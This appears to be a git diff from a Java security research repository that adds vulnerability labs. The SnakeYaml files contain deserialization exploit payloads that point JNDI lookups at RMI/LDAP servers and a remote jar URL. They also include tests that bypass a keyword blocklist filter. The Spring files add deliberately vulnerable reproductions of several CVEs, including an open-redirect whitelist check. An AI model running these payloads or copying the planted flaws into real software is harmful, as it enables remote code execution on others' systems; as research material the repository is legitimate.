b/JavaSecurity/SnakeYaml/src/main/java/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.java @@ -6,18 +6,11 @@ public class SpringPropertyPathFactoryBeanEXP { public static void main(String[] args) { String payload = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + - " targetBeanName: \"ldap://localhost:1389/Exploit\"\n" + + " targetBeanName: \"rmi://127.0.0.1:1099/7dwqhm\"\n" + " propertyPath: Drunkbaby\n" + " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + - " shareableResources: [\"ldap://localhost:1389/Exploit\"]"; - - String poc = "!!org.springframework.beans.factory.config.PropertyPathFactoryBean\n" + - " targetBeanName: \"rmi://127.0.0.1:1099/Exploit\"\n" + - " propertyPath: Drunkbaby\n" + - " beanFactory: !!org.springframework.jndi.support.SimpleJndiBeanFactory\n" + - " shareableResources: [\"rmi://127.0.0.1:1099/Exploit\"]"; - + " shareableResources: [\"rmi://127.0.0.1:1099/7dwqhm\"]"; Yaml yaml = new Yaml(); - yaml.load(poc); + yaml.load(payload); } } diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java new file mode 100644 index 00000000..c983cfb6 --- /dev/null +++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassBlackList.java @@ -0,0 +1,40 @@ +package BypassAnalyze; + + +import org.yaml.snakeyaml.Yaml; + +// 测试绕过一整段黑名单 +public class bypassBlackList { + + private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", + "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", + "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", + "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", + "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"}; + public String yamlLoads(String payload) { + + try { + for (String riskyToken : RISKY_STR_ARR) { + if (payload.contains(riskyToken)) { + System.out.println("can not has malicious remote script"); + return "failed"; + } + } + Yaml yaml = new Yaml(); + yaml.loadAs(payload, Object.class); + } catch (Exception e) { + System.out.println("error"); + } + return "over"; + } + + public static void main(String[] args) { + String payload = "! \n" + + " targetBeanName: \"ldap://127.0.0.1:1389/dc=example,dc=com\"\n" + + " propertyPath: Drunkbaby\n" + + " beanFactory: ! \n" + + " shareableResources: [\"ldap://127.0.0.1:1389/dc=example,dc=com\"]"; + bypassBlackList bypassTest = new bypassBlackList(); + bypassTest.yamlLoads(payload); + } +} diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java new file mode 100644 index 00000000..099b64b7 --- /dev/null +++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/bypassTest.java @@ -0,0 +1,40 @@ +package BypassAnalyze; + + +import org.yaml.snakeyaml.Yaml; + +// 测试绕过 !! +public class bypassTest { + + private static final String[] RISKY_STR_ARR = {"ScriptEngineManager", "URLClassLoader", "!!", + "ClassLoader", "AnnotationConfigApplicationContext", "FileSystemXmlApplicationContext", + "GenericXmlApplicationContext", "GenericGroovyApplicationContext", "GroovyScriptEngine", + "GroovyClassLoader", "GroovyShell", "ScriptEngine", "ScriptEngineFactory", "XmlWebApplicationContext", + "ClassPathXmlApplicationContext", "MarshalOutputStream", "InflaterOutputStream", "FileOutputStream"}; + + public String yamlLoads(String payload) { + + try { + if (payload.contains("!!")) { + System.out.println("can not has malicious remote script"); + return "failed"; + } + Yaml yaml = new Yaml(); + yaml.loadAs(payload, Object.class); + + } catch (Exception e) { + System.out.println("error"); + } + return "over"; + } + + public static void main(String[] args) { + String payload = "! \n" + + " targetBeanName: \"ldap://192.168.255.10:1389/tr7j8w\"\n" + + " propertyPath: Drunkbaby\n" + + " beanFactory: ! \n" + + " shareableResources: [\"ldap://192.168.255.10:1389/tr7j8w\"]"; + bypassTest bypassTest = new bypassTest(); + bypassTest.yamlLoads(payload); + } +} diff --git a/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java new file mode 100644 index 00000000..84093770 --- /dev/null +++ b/JavaSecurity/SnakeYaml/src/main/java/BypassAnalyze/tag.java @@ -0,0 +1,13 @@ +package BypassAnalyze; + +import org.yaml.snakeyaml.Yaml; + +public class tag { + public static void main(String[] args) { + String payload = "! " + + "[! " + + "[[! [\"http://localhost:1099\"]]]]\n"; + Yaml yaml = new Yaml(); + yaml.load(payload); + } +} diff --git a/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java b/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java index 55e4d351..9110a1b6 100644 --- a/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java +++ b/JavaSecurity/SnakeYaml/src/main/java/SnakeYamlFix/SnakeYamlFix.java @@ -1,18 +1,18 @@ -package SnakeYamlFix; - -import org.yaml.snakeyaml.Yaml; -import org.yaml.snakeyaml.constructor.SafeConstructor; - -public class SnakeYamlFix { - public static void main(String[] args) { - - String context = "!!javax.script.ScriptEngineManager [\n" + - " !!java.net.URLClassLoader [[\n" + - " !!java.net.URL [\"http://127.0.0.1:7777/yaml-payload-master.jar\"]\n" + - " ]]\n" + - "]"; - Yaml yaml = new Yaml(new SafeConstructor()); - yaml.load(context); - } - -} +//package SnakeYamlFix; +// +//import org.yaml.snakeyaml.Yaml; +//import org.yaml.snakeyaml.constructor.SafeConstructor; +// +//public class SnakeYamlFix { +// public static void main(String[] args) { +// +// String context = "!!javax.script.ScriptEngineManager [\n" + +// " !!java.net.URLClassLoader [[\n" + +// " !!java.net.URL [\"http://127.0.0.1:7777/yaml-payload-master.jar\"]\n" + +// " ]]\n" + +// "]"; +// Yaml yaml = new Yaml(new SafeConstructor()); +// yaml.load(context); +// } +// +//} diff --git a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class index 4bed0684..52290186 100644 Binary files a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class and b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/JndiConfigurationEXP.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class index 879340fe..a6cb0371 100644 Binary files a/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class and b/JavaSecurity/SnakeYaml/target/classes/AvailableGadgets/SpringPropertyPathFactoryBeanEXP.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class new file mode 100644 index 00000000..00bea030 Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassBlackList.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class new file mode 100644 index 00000000..9730813a Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/bypassTest.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class new file mode 100644 index 00000000..e44dae40 Binary files /dev/null and b/JavaSecurity/SnakeYaml/target/classes/BypassAnalyze/tag.class differ diff --git a/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class b/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class deleted file mode 100644 index 57e4ba35..00000000 Binary files a/JavaSecurity/SnakeYaml/target/classes/SnakeYamlFix/SnakeYamlFix.class and /dev/null differ diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/pom.xml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/pom.xml new file mode 100644 index 00000000..729040a9 --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/pom.xml @@ -0,0 +1,75 @@ + + + 4.0.0 + com.example + Client + 0.0.1-SNAPSHOT + Client + Client + + 1.8 + UTF-8 + UTF-8 + 2.6.13 + + + + org.springframework.boot + spring-boot-starter + + + org.springframework.boot + spring-boot-starter-amqp + + + org.springframework.boot + spring-boot-starter-test + test + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 1.8 + 1.8 + UTF-8 + + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + com.example.client.ClientApplication + true + + + + repackage + + repackage + + + + + + + + diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/java/com/example/client/ClientApplication.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/java/com/example/client/ClientApplication.java new file mode 100644 index 00000000..a36c5b9f --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/java/com/example/client/ClientApplication.java @@ -0,0 +1,20 @@ +package com.example.client; +import org.springframework.amqp.support.converter.MessageConverter; +import org.springframework.amqp.support.converter.Jackson2JsonMessageConverter; +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; +import org.springframework.context.annotation.Bean; + +@SpringBootApplication +public class ClientApplication { + + public static void main(String[] args) { + SpringApplication.run(ClientApplication.class, args); + } + + @Bean + MessageConverter createMessageConverter() { + return new Jackson2JsonMessageConverter(); + } + +} diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/java/com/example/client/service/MessagingService.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/java/com/example/client/service/MessagingService.java new file mode 100644 index 00000000..c69069ca --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/java/com/example/client/service/MessagingService.java @@ -0,0 +1,20 @@ +package com.example.client.service; + +import org.springframework.amqp.rabbit.core.RabbitTemplate; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Component; + +@Component +public class MessagingService { + @Autowired + RabbitTemplate rabbitTemplate; + + public void sendRegistrationMessage(RegistrationMessage msg) { + rabbitTemplate.convertAndSend("registration", "", msg); + } + + public void sendLoginMessage(LoginMessage msg) { + String routingKey = msg.success ? "" : "login_failed"; + rabbitTemplate.convertAndSend("login", routingKey, msg); + } +} diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/resources/application.yml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/resources/application.yml new file mode 100644 index 00000000..345ce1da --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/main/resources/application.yml @@ -0,0 +1,6 @@ +spring: + rabbitmq: + host: 192.168.80.139 + port: 5672 + username: guest + password: guest \ No newline at end of file diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/test/java/com/example/client/ClientApplicationTests.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/test/java/com/example/client/ClientApplicationTests.java new file mode 100644 index 00000000..8c347674 --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Client/src/test/java/com/example/client/ClientApplicationTests.java @@ -0,0 +1,13 @@ +package com.example.client; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class ClientApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/pom.xml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/pom.xml new file mode 100644 index 00000000..ad8486cb --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/pom.xml @@ -0,0 +1,72 @@ + + + 4.0.0 + com.example + Server + 0.0.1-SNAPSHOT + Server + Server + + 1.8 + UTF-8 + UTF-8 + 2.6.13 + + + + org.springframework.boot + spring-boot-starter + + + + org.springframework.boot + spring-boot-starter-test + test + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 1.8 + 1.8 + UTF-8 + + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + com.example.server.ServerApplication + true + + + + repackage + + repackage + + + + + + + + diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/src/main/java/com/example/server/ServerApplication.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/src/main/java/com/example/server/ServerApplication.java new file mode 100644 index 00000000..9c82df8f --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/src/main/java/com/example/server/ServerApplication.java @@ -0,0 +1,13 @@ +package com.example.server; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class ServerApplication { + + public static void main(String[] args) { + SpringApplication.run(ServerApplication.class, args); + } + +} diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/src/test/java/com/example/server/ServerApplicationTests.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/src/test/java/com/example/server/ServerApplicationTests.java new file mode 100644 index 00000000..f915ff70 --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/Server/src/test/java/com/example/server/ServerApplicationTests.java @@ -0,0 +1,13 @@ +package com.example.server; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class ServerApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/pom.xml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/pom.xml new file mode 100644 index 00000000..851e09ec --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/pom.xml @@ -0,0 +1,9 @@ + + 4.0.0 + org.example + CVE-2023-34050 + 1.0-SNAPSHOT + Archetype - CVE-2023-34050 + http://maven.apache.org + diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/META-INF/maven/archetype.xml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/META-INF/maven/archetype.xml new file mode 100644 index 00000000..a8c70656 --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/META-INF/maven/archetype.xml @@ -0,0 +1,9 @@ + + CVE-2023-34050 + + src/main/java/App.java + + + src/test/java/AppTest.java + + diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/pom.xml b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/pom.xml new file mode 100644 index 00000000..ba5adcc1 --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/pom.xml @@ -0,0 +1,15 @@ + + 4.0.0 + $org.example + $CVE-2023-34050 + 1ドル.0-SNAPSHOT + + + junit + junit + 3.8.1 + test + + + diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/main/java/App.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/main/java/App.java new file mode 100644 index 00000000..1fa6a956 --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/main/java/App.java @@ -0,0 +1,13 @@ +package $org.example; + +/** + * Hello world! + * + */ +public class App +{ + public static void main( String[] args ) + { + System.out.println( "Hello World!" ); + } +} diff --git a/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/test/java/AppTest.java b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/test/java/AppTest.java new file mode 100644 index 00000000..65be417e --- /dev/null +++ b/JavaSecurity/Spring/Spring-AMQP/CVE-2023-34050/src/main/resources/archetype-resources/src/test/java/AppTest.java @@ -0,0 +1,38 @@ +package $org.example; + +import junit.framework.Test; +import junit.framework.TestCase; +import junit.framework.TestSuite; + +/** + * Unit test for simple App. + */ +public class AppTest + extends TestCase +{ + /** + * Create the test case + * + * @param testName name of the test case + */ + public AppTest( String testName ) + { + super( testName ); + } + + /** + * @return the suite of tests being tested + */ + public static Test suite() + { + return new TestSuite( AppTest.class ); + } + + /** + * Rigourous Test :-) + */ + public void testApp() + { + assertTrue( true ); + } +} diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/.gitignore b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/.gitignore new file mode 100644 index 00000000..549e00a2 --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/.gitignore @@ -0,0 +1,33 @@ +HELP.md +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### STS ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### IntelliJ IDEA ### +.idea +*.iws +*.iml +*.ipr + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/pom.xml b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/pom.xml new file mode 100644 index 00000000..be3d2a71 --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/pom.xml @@ -0,0 +1,76 @@ + + + 4.0.0 + + org.springframework.boot + spring-boot-starter-parent + 3.2.2 + + + com.example + spring-security-demo + 0.0.1-SNAPSHOT + spring-security-demo + spring-security-demo + + 17 + + + + org.springframework.boot + spring-boot-starter-security + + + org.springframework.boot + spring-boot-starter-web + + + + + + + + + + + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.security + spring-security-test + test + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + org.thymeleaf.extras + thymeleaf-extras-springsecurity6 + + + org.springframework.boot + spring-boot-starter-actuator + + + org.springframework.boot + spring-boot-starter-security + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + + + + \ No newline at end of file diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/Cve202422234Application.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/Cve202422234Application.java new file mode 100644 index 00000000..998195be --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/Cve202422234Application.java @@ -0,0 +1,13 @@ +package com.drunkbaby; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class Cve202422234Application { + + public static void main(String[] args) { + SpringApplication.run(Cve202422234Application.class, args); + } + +} diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/config/WebSecurityConfig.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/config/WebSecurityConfig.java new file mode 100644 index 00000000..db5ef2fe --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/config/WebSecurityConfig.java @@ -0,0 +1,44 @@ +package com.drunkbaby.config; + +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import org.springframework.security.config.annotation.web.builders.HttpSecurity; +import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity; +import org.springframework.security.core.userdetails.User; +import org.springframework.security.core.userdetails.UserDetails; +import org.springframework.security.core.userdetails.UserDetailsService; +import org.springframework.security.provisioning.InMemoryUserDetailsManager; +import org.springframework.security.web.SecurityFilterChain; + +@Configuration +@EnableWebSecurity +public class WebSecurityConfig { + + @Bean + public SecurityFilterChain securityFilterChain(HttpSecurity http) throws Exception { + http.authorizeHttpRequests((requests) -> requests + .requestMatchers("/", "/index").permitAll() + .anyRequest().authenticated() + ) + + .formLogin((form) -> form + .loginPage("/login") + .permitAll() + ) + .logout((logout) -> logout.permitAll()); + + return http.build(); + } + + @Bean + public UserDetailsService userDetailsService() { + UserDetails user = + User.withDefaultPasswordEncoder() + .username("user") + .password("password") + .roles("USER") + .build(); + + return new InMemoryUserDetailsManager(user); + } +} \ No newline at end of file diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/controller/IndexController.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/controller/IndexController.java new file mode 100644 index 00000000..15ecbfda --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/java/com/drunkbaby/controller/IndexController.java @@ -0,0 +1,67 @@ +package com.drunkbaby.controller; + +import org.springframework.security.authentication.AuthenticationTrustResolver; +import org.springframework.security.authentication.AuthenticationTrustResolverImpl; +import org.springframework.security.core.Authentication; +import org.springframework.security.core.context.SecurityContextHolder; +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.ResponseBody; + +@Controller +public class IndexController { + + @GetMapping("/index") + @ResponseBody + public String index(){ + // 获取当前的认证对象 + return "success"; + } + + @GetMapping("/vul") + @ResponseBody + public String vul(Authentication authentication){ + // 获取当前的认证对象 + authentication = null; + + // 创建 AuthenticationTrustResolver 实例 + AuthenticationTrustResolver trustResolver = new AuthenticationTrustResolverImpl(); + + // 使用 isFullyAuthenticated 方法检查是否完全经过身份验证 + boolean fullyAuthenticated = trustResolver.isFullyAuthenticated(authentication); + String msg = ""; + if (fullyAuthenticated) { + msg = "用户已完全经过身份验证"; + } else { + msg = "用户可能是匿名用户或者仅部分经过身份验证"; + } + return msg; + } + + @GetMapping("/home") + public String home(){ + return "home"; + } + + @GetMapping("/hello") + public String hello(){ + return "hello"; + } + + @GetMapping("/login") + public String login(){ + return "login"; + } + + public static void main(String[] args) { + Authentication authentication = SecurityContextHolder.getContext().getAuthentication(); + + // 创建 AuthenticationTrustResolver 实例 + AuthenticationTrustResolver trustResolver = new AuthenticationTrustResolverImpl(); + + // 使用 isFullyAuthenticated 方法检查是否完全经过身份验证 + boolean fullyAuthenticated = trustResolver.isFullyAuthenticated(null); + + System.out.println(fullyAuthenticated); + } +} \ No newline at end of file diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/application.properties b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/application.properties new file mode 100644 index 00000000..bafddced --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/application.properties @@ -0,0 +1 @@ +server.port=8081 \ No newline at end of file diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/hello.html b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/hello.html new file mode 100644 index 00000000..37b2fcb2 --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/hello.html @@ -0,0 +1,13 @@ + + + + Hello World! + +
        +

        Hello thymeleaf!

        +
        + +
        +

        AltStyle によって変換されたページ (->オリジナル) /

        + \ No newline at end of file diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html new file mode 100644 index 00000000..11df00bb --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/home.html @@ -0,0 +1,11 @@ + + + + Spring Security Example + + +

        Welcome!

        + +

        Click here to see a greeting.

        + + \ No newline at end of file diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html new file mode 100644 index 00000000..ee6536a3 --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/main/resources/templates/login.html @@ -0,0 +1,19 @@ + + + + Spring Security Example + + +
        + Invalid username and password. +
        +
        + You have been logged out. +
        +
        +
        +
        +
        +
        + + \ No newline at end of file diff --git a/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java new file mode 100644 index 00000000..e036432a --- /dev/null +++ b/JavaSecurity/Spring/Spring-Security/CVE-2024-22234/src/test/java/com/drunkbaby/Cve202422234ApplicationTests.java @@ -0,0 +1,13 @@ +package com.drunkbaby; + +import org.junit.jupiter.api.Test; +import org.springframework.boot.test.context.SpringBootTest; + +@SpringBootTest +class Cve202422234ApplicationTests { + + @Test + void contextLoads() { + } + +} diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore new file mode 100644 index 00000000..549e00a2 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/.gitignore @@ -0,0 +1,33 @@ +HELP.md +target/ +!.mvn/wrapper/maven-wrapper.jar +!**/src/main/**/target/ +!**/src/test/**/target/ + +### STS ### +.apt_generated +.classpath +.factorypath +.project +.settings +.springBeans +.sts4-cache + +### IntelliJ IDEA ### +.idea +*.iws +*.iml +*.ipr + +### NetBeans ### +/nbproject/private/ +/nbbuild/ +/dist/ +/nbdist/ +/.nb-gradle/ +build/ +!**/src/main/**/build/ +!**/src/test/**/build/ + +### VS Code ### +.vscode/ diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml new file mode 100644 index 00000000..6b16e298 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/pom.xml @@ -0,0 +1,76 @@ + + + 4.0.0 + com.drunkbaby + CVE-2024-22243 + 0.0.1-SNAPSHOT + CVE-2024-22243 + CVE-2024-22243 + + 1.8 + UTF-8 + UTF-8 + 2.6.13 + + + + org.springframework.boot + spring-boot-starter + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.boot + spring-boot-starter-web + + + + + + org.springframework.boot + spring-boot-dependencies + ${spring-boot.version} + pom + import + + + + + + + + org.apache.maven.plugins + maven-compiler-plugin + 3.8.1 + + 1.8 + 1.8 + UTF-8 + + + + org.springframework.boot + spring-boot-maven-plugin + ${spring-boot.version} + + com.drunkbaby.Cve202422243Application + true + + + + repackage + + repackage + + + + + + + + diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java new file mode 100644 index 00000000..93fdc7cc --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/Cve202422243Application.java @@ -0,0 +1,13 @@ +package com.drunkbaby; + +import org.springframework.boot.SpringApplication; +import org.springframework.boot.autoconfigure.SpringBootApplication; + +@SpringBootApplication +public class Cve202422243Application { + + public static void main(String[] args) { + SpringApplication.run(Cve202422243Application.class, args); + } + +} diff --git a/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java new file mode 100644 index 00000000..1811dd52 --- /dev/null +++ b/JavaSecurity/Spring/SpringFramework/CVE-2024-22243/src/main/java/com/drunkbaby/controller/VulController.java @@ -0,0 +1,47 @@ +package com.drunkbaby.controller; + +import org.springframework.stereotype.Controller; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RequestParam; +import org.springframework.web.util.UriComponents; +import org.springframework.web.util.UriComponentsBuilder; + +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; +import java.util.Arrays; +import java.util.HashSet; +import java.util.Set; + + +@Controller +@RequestMapping("/vul") +public class VulController { + + private static final Set whiteDomains = new HashSet(Arrays.asList(new String[]{ + ".a.com" + })); + + @GetMapping + public String vul(@RequestParam(name = "url") String url, HttpServletResponse response) throws IOException { + UriComponents uriComponents = UriComponentsBuilder.fromUriString(url).build(); + String schema = uriComponents.getScheme(); + String host = uriComponents.getHost(); + String path = uriComponents.getPath(); + + System.out.printf("schema:%s\n", schema); + System.out.printf("host:%s\n", host); + System.out.printf("path:%s\n", path); + + boolean pass = false; + for (String whiteDomain : whiteDomains) { + if (host.endsWith(whiteDomain)) { + pass = true; + break; + } + } + if (!pass) return "error"; + + return "redirect:" + url; + } +} \ No newline at end of file diff --git 